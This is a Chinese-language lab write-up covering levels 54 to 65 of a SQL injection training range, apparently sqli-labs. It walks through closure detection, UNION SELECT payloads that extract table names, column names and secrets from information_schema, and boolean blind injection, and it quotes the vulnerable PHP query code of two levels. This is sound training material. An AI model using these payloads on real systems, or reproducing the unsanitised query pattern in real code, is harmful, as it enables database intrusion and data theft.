五十四关
翻到第四页了,这一页的内容算是前面的综合考核了
看一下界面,要求,从challenges
数据库中取出秘钥,要求步骤不超过10步
输入?id=1'
,页面无显示
再输入?id=1"
,页面返回数据
通过上面两个步骤,足以判断出有单引号参与了闭合,但还需要判断是否有括号参与闭合,这就需要使用到and 1=1
了,可以使用注释符注释掉多余内容,也可以使用符号直接闭合。
输入?id=1' and 1=1--+
,页面正常回显
输入?id=1' and 1=2--+
,页面无回显
通过上面两步,确定了是单引号闭合,使用注释符的方式就不会有')
的干扰,如果是使用闭合的方式,那还需要判断一下有没有可能是')
闭合(参考26关括号判断)。
这里已经判断好了闭合,而页面上是有数据库回显的,所以,可以直接尝试联合查询,先来order by 一下
order by 3
正常回显
order by 4
无回显
判断出字段数之后,下一步就需要判断显示位,但是现在我们只剩下3步了(虽然可以重置,但还是想挑战一下),尤其是之前自己还浪费了一步,我们题目中已经告知我们秘钥在challenge
数据库,这里我就节约一点步骤,直接开始查询,查到就是赚到,就不用数字去慢慢判断了。
?id=-1' union select @@version,database(),group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
这里查出表名,虽然这个表名看上去还怪像个秘钥的,但别想多了,这不是
找到表之后,我们就该来爆出字段了。
?id=-1' union select @@version,database(),group_concat(column_name) from information_schema.columns where table_name='txrmvy0y9u' --+
这里一步小心又浪费了一个步骤,不过没关系,被重置了的话,直接用一下之前的查询语句就行了,再查一下就行,最终查出结果。
?id=-1' union select @@version,database(),concat_ws('|',id,sessid,secret_Q5AE,tryy) from 表名--+
接着提交一下自己获取到的数据就行了。
这里用concat_ws
函数,用于连接同一条数据中的不同字段,需要设置第一个参数为分割符(横向连接)
前面的group_concat
函数,用于连接同一字段的几条数据,会自动添加逗号作为分割符(纵向连接)
还有个concat
函数,这个在报错注入中经常用这个函数,这个函数和concat_ws
函数查不多,需要自己设置分割符,而且是在你自己想分割的地方自己设置。(横向连接)
五十五关
还是和前面差不多的界面,不过,这次有14个步骤。
还是和上一关一样,直接先来判断闭合,输入?id=1'
,页面没有回显
输入?id=2'
,页面还是没有回显。
这就有点耐人寻味了,单引号和双引号总不可能都参与了闭合吧?还别说,没探讨过这个问题。那来试一下,确实不能双重包裹,不然里面的引号也被当成字符串。那这样看来,就有可能二者都没参与闭合。
那是否意味着,这是一个数字型呢,一试便知,我们输入?id=1--+
,如果是一个数字型的话,后面的limit语句就会被注释掉(如果注释符没被过滤的话),这不会对结果产生影响,如果依旧是有符号包裹着,那就会出错,没有回显。
可以看到,页面没有回显,那应该是有符号包裹的,但是单引号与双引号都不存在,那还有可能是啥呢?还有括号,纯的扩号也可以用来包裹。那么来试一下。
直接输入?id=1)
,页面没了回显
接着我们在后面加上一个注释符,有回显了,那应该可以判定是)
闭合了。
那剩下的步骤就和上一关没什么区别了,就不演示了
五十六关
还是一样的步骤,直接来判断闭合,输入?id=1'
,页面没有回显
输入?id=1"
,页面回显,通过这两点可以推测,单引号参与了闭合,接下来就要看有没有括号了。
输入?id=1'--+
,页面没有回显
输入?id=1')--+
,页面正常回显,说说明是')
闭合。
五十七关
输入?id=1'
,页面正常回显
输入?id=1"
,页面没有回显
那这样子看来,应该是双引号参与闭合,那就先来注释一下,输入?id=1"--+
,成功回显,确认是双引号闭合。
后续的就不再演示了。
五十八关
输入一个单引号,直接报出错误信息,一瞬间就判断出了闭合,那接下来无论是报错注入还是联合查询都很直接了。
但是试了一下之后发现不能使用联合查询,输入?id=-1' union select 1,2,3--+
,会产生如下结果,所以需要使用报错注入。
但是比较好奇,为什么有返回结果,却不能正常查询。那我们看一下,第57关与第58关代码的区别
57关代码
$id= '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
58关代码
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
第57关就和以往的一样,但是58关这个操作就比较有意思了,根据id号去数据库里面查询,如果从数据库里面有查询到数据的话,那就返回自己设定的一个数组的值。
array_reverse
是将数组反转,于是Angelina
对应的密码是dhakkan
,而Dummy
对应的密码是admin3
l。。。。。,所以这一关实际上并没有返回数据中的值,也就不能使用联合查询了。
但是我又发现一点比较奇特,我之前输入的是?id=-1' union select 1,2,3--+
,而返回的结果却是 “Angelina”和 “dhakkan”,这又是为啥呢,按理来说,我们的id值是-1
,对吧。看下这张图就明白了。因为我们虽然前面的-1
没有查询出结果,但是后面的1,2,3
是作为查询结果的,并且分别对应了三个字段。
于是if($row)
是成立的,进入分支$row['id']
,取出关联数组中id对应的值,也即是1。于是返回了$unames[1]
,即 “Angelina”。我们可以换一个数字验证一下。我们输入?id=-1' union select 3,2,1--+
,果然返回了$unames[3]
的结果
给个?id=-1' union select 99,2,3--+
的话,就没结果了。
五十九关
还是一样的,输入一个单引号,出现了如下错误,这样看来就是数字型了,当然也可以使用and 1=1
判断一下,或者直接使用注释符再确认一下。
六十关
输入一个单引号,返回正常,那就可能是双引号参与闭合
输入一个双引号,产生如下报错,可以看出是")
闭合
六十一关
输入单引号,直接爆出如下错误,直接看出是'))
闭合
六十二关
输入一个单引号,页面无回显,但是这关给的步骤异常的多,那照这样子看来,应该是需要进行盲注了?
那我直接输入一个普通的?id=1
看一下,却看到依旧有数据库的数据显示,那按道理来说应该是可以使用联合查询的。
再输入?id=1"
,页面再次回显正常,那可以判断,单引号参与了闭合。
接着就需要看是否还有括号参与闭合了,直接使用注释符的方式。输入?id=1'--+
,页面无回显
输入?id=1')--+
,页面正常回显
接着使用order by
判断出是三个字段,接着使用联合查询,但是发现并不能有反馈,应该是被过滤掉了
稍加尝试,试了一下双写,但是并没有效果
那咱们先不尝试这个,先确认可以盲注再说,使用and 1=1
进行测试
输入?id=1') and 1=1--+
,页面正常回显
输入?id=1') and 1=2--+
,页面无回显,那就是可以使用布尔盲注的
稍加测试,?id=1') and length(database())=10--+
,页面正常回显,接下来就是反复的过程了,建议开burp,或者自己写一个脚本。
六十三关()
输入?id=1'
,页面无回显
输入?id=1"
,页面正常回显,那应该是有单引号参与闭合
接下来使用注释符注释一下,输入?id=1'--+
,页面正常显示,说明是单引号闭合
六十四关
输入?id=1'
,页面无回显
输入?id=1"
,页面依旧无回显,那就有可能是一个数字型,或者是括号闭合
使用注释符来进行测试,输入?id=1--+
,页面依旧无回显,排除数字型
但是当我们输入?id=1)--+
时,页面还是无回显,那就比较奇怪了,难道还有括号?
输入?id=1))--+
时,页面正常回显回显,那就可以判定是))
闭合了。
其实,因为这道题是布尔盲注,所以,就算没能判断出闭合,直接在括号里使用and
来构造了逻辑表达式也是能够成功进行判断的,但是我们最好还是先判断出闭闭合
六十五关
输入?id=1'
,页面正常回显
输入?id=1"
,页面无回显,说明有双引号参与了闭合
使用注释符进行判断,输入?id=1"--+
,页面无回显,那说明外面还有括号
输入?id=1")--+
,页面正常回显,判断出是")
闭合。
结语
写了一个多周,终于是完成了这个靶场的博文,其实按理来说应该是花不了这么多时间的,但是自己还是有点喜欢偷懒。正好最近这段时间又有s10总决赛,时不时的就看一下比赛,偶尔还看看云观众的的游戏言论,去争论一番,我也是脑袋不清醒了,浪费自己时间,哈哈。
仅从这个靶场来看,其实最重要的就是对注入点的判断,当然,在真实的场景中还有waf的绕过呀什么,那个也会是一个难点,如果你把这个靶场做通了,那至少掌握了sql注入的基础了。之后你需要学习sqlmap的使用,使用burpsuite进行半自动化的注入,接着是学习waf的绕过,学习自己能够编写sqlmap的tamper进行自动化的绕过waf(这些我也还没学,但我觉得应该是这么个路线)。
这里再来总结一下整个的靶场吧
1.sql注入按数据类型来分,可分为数字型和字符型
2.按注入手法来分,有联合查询,报错注入,布尔盲注,延时注入,(堆叠注入勉强算一种),我们下面只拿前四种来说。
3.按sql语句来分,有select型,delete型,update型,insert型,order by型
4.select型适用的注入手法最多,几种手法都适用
5.delete语句因为和select语句一样具有where条件查询语句,所以,除了联合联合查询也都能用。
6.insert和update语句,就只能使用报错注入了。因为没有查询的表,所以不能使用union,又没有where条件语句,所以布尔盲注和延时注入都不能使用。